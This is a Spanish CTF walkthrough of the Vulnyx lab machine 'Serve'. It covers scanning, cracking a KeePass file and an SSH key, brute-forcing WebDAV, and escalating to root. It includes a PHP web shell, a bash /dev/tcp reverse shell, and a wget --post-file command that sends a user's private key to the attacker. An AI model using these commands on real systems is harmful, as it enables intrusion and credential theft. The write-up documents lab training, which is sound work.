Máquina: Serve
SO: Linux
Dificultad: Easy
Link OVA: Vulnyx


serve

1. Verificamos dispositivos en la red.

sudo arp-scan -I enp2s0 --localnet

serve

2. Escanemos puertos abiertos en el host objetivo.

sudo nmap -p -sS -sCV --open --min-rate=5000 -n -Pn 192.168.1.12 -oN report_scan

serve

3. Visitando el servicio apache, no tenemos nada importante.

http://192.168.1.12

serve

4. Fuzzeamos en busca de directorios.

gobuster dir -u http://191.168.1.12/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

serve

  • Vistamos la primera ruta y nos dice que no tenemos permisos.

http://192.168.1.12/javascript/

  • En la segunda ruta tampoco se ve nada importante.

http://192.168.1.12/secrets/

  • En el tercer directorio, tenemos un panel login, pero no tenemos credenciales.

http://192.168.1.12/webdav/

serve

5. Seguimos fuzzeando, ahora contemplamos la busqueda de ficheros.

gobuster dir -u http://192.168.1.12/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt

serve

6. Revisamos el fichero notes haber que nos muestra.

http://192.168.1.12/notes.txt

serve

7. Fuzzeamos el directorio secret, tambien contemplamos ficheros kdbx.

gobuster dir -u http://192.168.1.12/secrets/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt,kdbx

serve

8. Nos descargamos el fichero db.kdbx visitando a esta url.

http://192.168.1.12/secrets/db.kdbx

9. Creamos un hash que represente la contraseña del fichero.

ls

keepass2john db.kdbx > kepass.txt

serve

10. Aplicamos bruteforce al hash para obtener la contraseña.

john --wordlist=/usr/share/wordlists/rockyou.txt kepass.txt

serve

11. Abrimos keepass y asu vez abrimos la base de datos db.kdbx .

  • pasos para tener keepass:
    https://keepassxc.org/
    chmod +x KeePassXC-2.7.7-x86_64.AppImage
    ./KeePassXc-2.7.7-x86_64.AppImage & disown

serve

12. Abrimos la nota, tenemos credenciales para webdav.

serve

- No sabemos el numero de empleado para reemplazar las X. serve

13. Creamos un diccionario reemplazando cada X por un numero.

crunch 9 9 -t w3bd4v%%% -o dict.txt

serve

14. Usamos hydra para bruteforcear el panel login de webdav.

hydra -l admin -P dict.txt -f 192.168.1.12 http-get /webdav

serve

- Ya con credenciales accedemos a webdav; está vacio.

serve

15. Creamos un archivo para mediante un parámetro en la url poder ejecutar comandos.

echo "<?php system($_GET['cmd']);?>" > cmd.php

serve

16. Lo subimos al servidor apache.

curl --digest --user 'admin:w3bd4v513' -T 'cmd.php' 'http://192.168.1.12/webdav/'

serve

17. Probamos si funciona ejecutando un comando al azar.

http://102.168.1.12/webdav/cmd.php?cmd=id

serve

18. Nos ponemos en escucha en en puerto.

sudo nc -nlvp 443

serve

19. Nos enviamos una reverse-shell a nuestro nc.

http://192.168.1.12/webdav/cmd.php?cmd=bash -c "bash -i>%26/dev/tcp/192.168.1.9/443 0>%261"

serve

- Obtenemos la conexión a la máquina:

serve

20. Revisamos permisos sudo disponibles.

sudo -l

serve

21. Nos ponemos en escucha en otro puerto, y usando wget nos enviamos el contenido del idrsa del usuario teo.

sudo -u teo /usr/bin/wget --post-file=/home/teo/.ssh/id_rsa 192.168.1.9:4444

serve

22. Copiamos y guardamos la idrsa en un fichero.

nano id_rsa

serve

23. Utilizamos RSAcrack para crackear la contraseña.

RSAcrack -w /usr/share/wordlists/rockyou.txt -k id_rsa

serve

24. Ahora accedemos por ssh como el usuario teo proporcionando la contraseña obtenida.

ssh -i id_rsa teo@192.168.1.12

serve

25. Revisamos permisos sudo del usuario, vemos que podemos ejecutar el binario ‘bro’ como root.

sudo -l

serve

26. Si ejecutamos este binario, nos dice que ejecutemos como ‘bro curl’.

sudo bro

serve

27. Una vez ejecutado, al final(:) nos lanzamos una bash.

!/bin/bash

serve serve

28. Ya logrado el super-usuario en la máquina, finalizamos obteniendo la flag de root.

cat /root/root.txt

serve


Finalizado.